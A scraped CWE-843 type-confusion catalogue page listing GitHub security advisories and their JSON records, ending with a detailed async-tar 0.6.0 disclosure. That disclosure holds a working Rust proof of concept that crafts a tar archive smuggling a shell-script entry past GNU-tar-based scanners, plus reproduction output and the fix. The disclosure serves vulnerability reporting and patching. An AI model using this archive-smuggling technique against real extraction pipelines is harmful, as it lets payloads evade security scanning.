CWE-843
AllowedAccess of Resource Using Incompatible Type ('Type Confusion')
Abstraction: Base · Status: Incomplete
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
1041 vulnerabilities reference this CWE, most recent first.
GHSA-32RF-9MPV-RFCV
Vulnerability from github – Published: 2023-08-08 12:30 – Updated: 2024-04-04 06:38The cam_get_device_priv function does not check the type of handle being returned (device/session/link). This would lead to invalid type usage if a wrong handle is passed to it.
{
"affected": [],
"aliases": [
"CVE-2023-28575"
],
"database_specific": {
"cwe_ids": [
"CWE-823",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-08T10:15:14Z",
"severity": "HIGH"
},
"details": "The cam_get_device_priv function does not check the type of handle being returned (device/session/link). This would lead to invalid type usage if a wrong handle is passed to it.",
"id": "GHSA-32rf-9mpv-rfcv",
"modified": "2024-04-04T06:38:33Z",
"published": "2023-08-08T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28575"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/august-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-33F9-J839-RF8H
Vulnerability from github – Published: 2021-09-02 17:17 – Updated: 2024-04-25 22:16This affects the package immer before 9.0.6. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition (p === "__proto__" || p === "constructor") in applyPatches_ returns false if p is ['__proto__'] (or ['constructor']). The === operator (strict equality operator) returns false if the operands have different type.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "immer"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "9.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23436"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-02T16:57:31Z",
"nvd_published_at": "2021-09-01T18:15:00Z",
"severity": "CRITICAL"
},
"details": "This affects the package immer before 9.0.6. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition `(p === \"__proto__\" || p === \"constructor\")` in `applyPatches_` returns false if `p` is `[\u0027__proto__\u0027]` (or `[\u0027constructor\u0027]`). The `===` operator (strict equality operator) returns false if the operands have different type.",
"id": "GHSA-33f9-j839-rf8h",
"modified": "2024-04-25T22:16:53Z",
"published": "2021-09-02T17:17:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23436"
},
{
"type": "WEB",
"url": "https://github.com/immerjs/immer/commit/fa671e55ee9bd42ae08cc239102b665a23958237"
},
{
"type": "PACKAGE",
"url": "https://github.com/immerjs/immer"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1579266"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-IMMER-1540542"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in immer"
}
GHSA-33M3-2PR9-32P7
Vulnerability from github – Published: 2024-12-30 18:30 – Updated: 2024-12-30 18:30Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22450.
{
"affected": [],
"aliases": [
"CVE-2024-12836"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-30T17:15:08Z",
"severity": "HIGH"
},
"details": "Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22450.",
"id": "GHSA-33m3-2pr9-32p7",
"modified": "2024-12-30T18:30:41Z",
"published": "2024-12-30T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12836"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1724"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-33R2-R6FV-8948
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2023-01-09 18:30A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 13.5 and iPadOS 13.5, tvOS 13.4.5, watchOS 6.2.5, Safari 13.1.1, iTunes 12.10.7 for Windows, iCloud for Windows 11.2, iCloud for Windows 7.19. Processing maliciously crafted web content may lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2020-9800"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-09T17:15:00Z",
"severity": "MODERATE"
},
"details": "A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 13.5 and iPadOS 13.5, tvOS 13.4.5, watchOS 6.2.5, Safari 13.1.1, iTunes 12.10.7 for Windows, iCloud for Windows 11.2, iCloud for Windows 7.19. Processing maliciously crafted web content may lead to arbitrary code execution.",
"id": "GHSA-33r2-r6fv-8948",
"modified": "2023-01-09T18:30:22Z",
"published": "2022-05-24T17:19:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9800"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211168"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211171"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211175"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211177"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211178"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211179"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT211181"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35M3-CC92-WX4W
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 8.3.2.25013. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the clearItems XFA method. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5288.
{
"affected": [],
"aliases": [
"CVE-2017-16582"
],
"database_specific": {
"cwe_ids": [
"CWE-704",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-20T14:29:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 8.3.2.25013. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the clearItems XFA method. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5288.",
"id": "GHSA-35m3-cc92-wx4w",
"modified": "2022-05-13T01:37:25Z",
"published": "2022-05-13T01:37:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16582"
},
{
"type": "WEB",
"url": "https://www.foxitsoftware.com/support/security-bulletins.php"
},
{
"type": "WEB",
"url": "https://zerodayinitiative.com/advisories/ZDI-17-893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35RM-7J9C-2F7M
Vulnerability from github – Published: 2026-07-08 20:24 – Updated: 2026-07-08 20:24Summary
async-tar v0.6.0 mis-applies a buffered PAX size extension to an intermediary
extension header (a GNU longname L, a GNU longlink K, or a PAX x/g
header) instead of to the next file entry. POSIX requires a PAX extended-header
record set to describe the next file entry, never an intervening extension
header. Because poll_next_raw (src/archive.rs) threads the buffered PAX
records into the size computation of whatever raw header it reads next — and that
header can be an intermediary L — the stream cursor is advanced by an
attacker-chosen amount when the L body is consumed. The parser then desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes
at the wrong block boundary.
An attacker who can influence a tar stream that an async-tar consumer extracts
can construct an x → L → file sequence whose entry list and on-disk result
differ between async-tar and a reference parser. This enables content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque
data is extracted by async-tar as a different file with different bytes (e.g. an
executable script), and vice versa.
Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage.
Affected code
Package: async-tar (crates.io). Affected version: 0.6.0 (latest release) and
current main HEAD. Both lack the extension-header guard.
src/archive.rs, poll_next_raw (line numbers from the v0.6.0 tag,
commit 45814b19295b7398e119c90c57d8c8bf70a798b6):
let file_pos = *next;
let mut header = current_header.take().unwrap();
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
let Some(key) = extension.key().ok() else { continue };
match key {
"size" => {
let size_str = extension.value()
.map_err(|_e| other("failed to parse pax size as string"))?;
size = size_str.parse::<u64>()
.map_err(|_e| other("failed to parse pax size"))?;
}
"uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
"gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
_ => { continue }
}
}
}
let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size
and a few lines further down the same function:
// Store where the next entry is, rounding up by 512 bytes.
let size = (size + 511) & !(512 - 1);
*next += size; // cursor advance = mis-applied PAX size
The caller loop in src/archive.rs (Entries::poll_next) buffers a PAX local
extension into current_pax_extensions and then calls poll_next_raw with
current_pax_extensions.as_deref() for the next raw header. When that next
raw header is an intermediary GNU longname (handled by the is_gnu_longname()
branch a few lines later), the PAX size is applied to it, so *next advances by
the spoofed size rather than the L header's own declared size. That is the
desync.
The buffered PAX records are intended to apply only to the following file
entry; the missing check is whether the raw header currently being sized is itself
an extension header (L/K/x/g).
Impact
Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with async-tar (e.g. a server endpoint that
unpacks an uploaded .tar/.tar.gz, a dependency/artifact fetcher that unpacks
a remote tarball, an archive-preview/scan pipeline) will:
- materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.
This breaks any security control that relies on scanning the archive with one
parser and extracting with async-tar: a malware/secret scanner reading the
stream with GNU tar can be made to see only benign data while async-tar writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer believes
holds something else. No attacker-controlled local state is required — only the
ability to influence the bytes of the tar stream that the consumer extracts.
How input reaches the sink (reachability)
The vulnerable path is the library's primary public API for reading archives:
Archive::new(reader).entries() returns an Entries stream whose poll_next
drives poll_next_raw for every header. Any consumer that iterates entries (or
calls unpack/unpack_in on them) of an attacker-influenced tar stream reaches
the sink with no additional configuration. The reader need not be a file — it is
any AsyncRead, so an upload buffer, an HTTP response body, or a decompressor
output all qualify. The only precondition for the desync is that the stream
contain a PAX local-extension header (x) carrying a size record immediately
followed by an intermediary GNU longname (L) before the next file header — a
structure the attacker fully controls in the archive bytes. Representative
reachable consumers are server endpoints that unpack uploaded .tar/.tar.gz
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.
Proof of concept
A standalone Rust consumer binary that links the published crates.io
async-tar = "=0.6.0" (default-features = false, features = ["runtime-tokio"])
and runs the real Archive::new(...).entries() extraction loop (the same shape
used by real downstream server consumers that unpack uploaded tarballs). It reads
a tar file and writes each entry to a destination directory, printing the entry
list async-tar surfaces. A second binary hand-crafts the malicious and benign
tar byte streams.
Malicious archive geometry (block = 512 bytes):
B0 x PAX local-extension header, records declare size=1024 (= 2 blocks)
B1 PAX records ("<len> size=1024\n")
B2 L GNU longname header, OWN declared size = 512 (= 1 block)
B3 longname block #1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses)
B4 a normal file header "placeholder_A" (size 512)
B5 <-- this block IS a valid tar header for the smuggled file
"hidden_payload.sh" (size 65)
B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8 two zero blocks (EOF)
GNU tar honours the L header's own declared size (1 block) for the longname and
ignores the buffered PAX size, so it reads B3 as the longname, treats B4 as the
file, and reads B5 as that file's opaque data. async-tar mis-applies the PAX
size (2 blocks) to the L header, reads B3+B4 as the longname, lands its cursor
on B5, parses it as a tar header, and extracts the smuggled hidden_payload.sh
body (B6).
Tar-builder source (mktar.rs):
use std::io::Write;
const BLOCK: usize = 512;
fn octal(buf: &mut [u8], v: u64) {
let s = format!("{:0width$o}", v, width = buf.len() - 1);
let b = s.as_bytes();
buf[..b.len()].copy_from_slice(b);
buf[b.len()] = 0;
}
fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
let mut h = [0u8; BLOCK];
let n = name.len().min(100);
h[..n].copy_from_slice(&name[..n]);
octal(&mut h[100..108], 0o644);
octal(&mut h[108..116], 0);
octal(&mut h[116..124], 0);
octal(&mut h[124..136], size);
octal(&mut h[136..148], 0);
h[156] = typeflag;
if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); }
else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
for b in &mut h[148..156] { *b = b' '; }
let sum: u32 = h.iter().map(|b| *b as u32).sum();
h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
h
}
fn pad(out: &mut Vec<u8>, len: usize) {
let rem = len % BLOCK;
if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
let mut len = key.len() + val.len() + 3;
loop {
let s = format!("{} {}={}\n", len, key, val);
if s.len() == len { return s.into_bytes(); }
len = s.len();
}
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }
fn build_malicious() -> Vec<u8> {
let mut out = Vec::new();
let gnu_name = b"GNU_SEES_THIS.txt";
let spoof = (BLOCK * 2) as u64;
let mut recs = Vec::new();
recs.extend(pax_record("size", &spoof.to_string()));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
out.extend_from_slice(&header(b"././@LongLink", BLOCK as u64, b'L'));
out.extend_from_slice(&name_block(gnu_name)); // B3
out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
write_block(&mut out, &smuggled_body); // B6
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn build_benign() -> Vec<u8> {
let mut out = Vec::new();
let mut recs = Vec::new();
recs.extend(pax_record("path", "normal_file.txt"));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
let body = b"plain benign content\n".to_vec();
out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
write_block(&mut out, &body);
let body2 = b"second benign file\n".to_vec();
out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
write_block(&mut out, &body2);
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn main() {
let a: Vec<String> = std::env::args().collect();
let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
Consumer source (main.rs, mirrors a real Archive::entries() extraction loop):
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;
#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
let args: Vec<String> = std::env::args().collect();
let dest = std::path::PathBuf::from(&args[2]);
fs::create_dir_all(&dest).await.unwrap();
let bytes = fs::read(&args[1]).await.unwrap();
let archive = Archive::new(std::io::Cursor::new(bytes));
let mut entries = archive.entries().expect("entries()");
let mut idx = 0usize;
while let Some(entry) = entries.next().await {
let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
let path_raw = file.path().expect("path").into_owned();
let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
let hdr_size = file.header().size().unwrap_or(0);
let mut out = dest.clone();
for comp in std::path::PathBuf::from(&path_disp).components() {
if let std::path::Component::Normal(p) = comp { out.push(p); }
}
let mut body = Vec::new();
let read = file.read_to_end(&mut body).await.unwrap_or(0);
if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
let _ = fs::write(&out, &body).await;
let preview: String = body.iter().take(48)
.map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
idx += 1;
}
println!("[async-tar] total entries surfaced: {idx}");
}
Cargo.toml:
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
End-to-end reproduction
Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output:
$ cargo build --release # links async-tar v0.6.0 from crates.io
Compiling async-tar v0.6.0
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s) in 10.12s
$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar
# ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh
# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
# bytes of B5 — a GNU-tar-based scanner sees only benign noise.)
# ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt
#!/bin/sh
# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte
benign blob; async-tar writes a 65-byte executable shell script that the
reference parser never exposes as an entry. The smuggled #!/bin/sh body is
content a GNU-tar-based scanner would never inspect.
Negative control — a benign archive (correct PAX usage: x applies path to the
following file, no intermediary L):
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
GNU tar and async-tar produce identical entry lists and identical on-disk files.
No smuggling. The differential is exclusive to the x → L → file desync sequence.
Fix
Apply the buffered PAX records (and the size/uid/gid overrides) only when
the raw header being sized is NOT itself an extension header. Skip the override
for GNU longname (L), GNU longlink (K), and PAX local/global (x/g) headers,
whose body length must come from their own declared size. This mirrors the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect class.
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// PAX extensions describe the NEXT file entry, not an intermediary
// extension header. Applying a buffered PAX `size` to such an intermediary
// header (L/K/x/g) advances the stream cursor by the wrong amount and
// desyncs the parse.
let entry_type = header.entry_type();
let is_extension_header = entry_type.is_gnu_longname()
|| entry_type.is_gnu_longlink()
|| entry_type.is_pax_local_extensions()
|| entry_type.is_pax_global_extensions();
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
// unchanged: same size/uid/gid override loop as before
}
}
Fix-verify, captured verbatim. The patched async-tar (guard added) re-run
against the same mal.tar:
$ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
Compiling async-tar v0.6.0 (.../async-tar-patched)
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
With the guard, async-tar's view converges with GNU tar's: it surfaces
GNU_SEES_THIS.txt with the opaque B5 bytes (hidden_payload.sh...) as data, and
no longer extracts the smuggled executable script. The benign control still
produces the correct two-file output. The desync is eliminated.
Fix PR
A fix PR adding the is_extension_header guard to poll_next_raw in
src/archive.rs is opened from the advisory's temporary private fork against this
repository. It carries the diff shown in the Fix section above (no behavioural
change for well-formed archives; only intermediary L/K/x/g headers stop
inheriting a following PAX size).
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "async-tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53600"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:24:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next \u2014 and that\nheader can be an intermediary `L` \u2014 the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x \u2192 L \u2192 file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n let file_pos = *next;\n\n let mut header = current_header.take().unwrap();\n\n // when pax extensions are available, the size should come from there.\n let mut size = header.entry_size()?;\n\n // the size above will be overriden by the pax data if it has a size field.\n // same for uid and gid, which will be overridden in the header itself.\n if let Some(pax_extensions_data) = pax_extensions_data { // \u003c-- no is_extension_header guard\n let pax = pax_extensions(pax_extensions_data);\n for extension in pax {\n let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n let Some(key) = extension.key().ok() else { continue };\n match key {\n \"size\" =\u003e {\n let size_str = extension.value()\n .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n size = size_str.parse::\u003cu64\u003e()\n .map_err(|_e| other(\"failed to parse pax size\"))?;\n }\n \"uid\" =\u003e { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n \"gid\" =\u003e { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n _ =\u003e { continue }\n }\n }\n }\n\n let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n // Store where the next entry is, rounding up by 512 bytes.\n let size = (size + 511) \u0026 !(512 - 1);\n *next += size; // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header\u0027s own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required \u2014 only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library\u0027s primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file \u2014 it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header \u2014 a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0 x PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1 PAX records (\"\u003clen\u003e size=1024\\n\")\nB2 L GNU longname header, OWN declared size = 512 (= 1 block)\nB3 longname block #1 = \"GNU_SEES_THIS.txt\\0...\" (the name GNU tar uses)\nB4 a normal file header \"placeholder_A\" (size 512)\nB5 \u003c-- this block IS a valid tar header for the smuggled file\n \"hidden_payload.sh\" (size 65)\nB6 smuggled payload \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8 two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header\u0027s own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file\u0027s opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody 